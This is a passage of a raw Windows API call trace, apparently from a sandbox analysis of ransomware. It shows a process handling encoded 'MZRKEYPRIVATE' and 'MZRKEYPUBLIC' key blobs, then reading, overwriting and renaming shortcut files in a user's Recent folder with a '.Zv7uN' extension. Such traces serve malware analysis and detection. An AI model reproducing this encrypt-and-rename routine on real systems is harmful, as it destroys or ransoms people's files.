wp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.402] GetCurrentThreadId () returned 0xa30 [0082.402] GetCurrentThreadId () returned 0xa30 [0082.402] GetCurrentThreadId () returned 0xa30 [0082.402] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.402] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.402] GetCurrentThreadId () returned 0xa30 [0082.402] GetCurrentThreadId () returned 0xa30 [0082.402] GetCurrentThreadId () returned 0xa30 [0082.403] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\N8umJoiWNw2WcG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n8umjoiwnw2wcg.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.403] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.403] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.403] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x395 [0082.403] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.403] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x395, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x395, lpOverlapped=0x0) returned 1 [0082.405] CloseHandle (hObject=0x124) returned 1 [0082.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\N8umJoiWNw2WcG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n8umjoiwnw2wcg.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.407] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x395, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x395, lpOverlapped=0x0) returned 1 [0082.408] CloseHandle (hObject=0x124) returned 1 [0082.413] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\N8umJoiWNw2WcG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n8umjoiwnw2wcg.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\N8umJoiWNw2WcG.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n8umjoiwnw2wcg.lnk.zv7un")) returned 1 [0082.414] GetCurrentThreadId () returned 0xa30 [0082.414] GetCurrentThreadId () returned 0xa30 [0082.414] GetCurrentThreadId () returned 0xa30 [0082.414] GetCurrentThreadId () returned 0xa30 [0082.414] GetCurrentThreadId () returned 0xa30 [0082.414] GetCurrentThreadId () returned 0xa30 [0082.414] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bd2a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2bd2a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2bd2a00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2035, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="nASdIGvuK.lnk", cAlternateFileName="NASDIG~1.LNK")) returned 1 [0082.414] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.414] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.414] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nASdIGvuK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nasdigvuk.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bd2a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2bd2a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2bd2a00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2035)) returned 1 [0082.414] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nASdIGvuK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nasdigvuk.lnk")) returned 0x20 [0082.415] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nASdIGvuK.lnk", dwFileAttributes=0x80) returned 1 [0082.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8O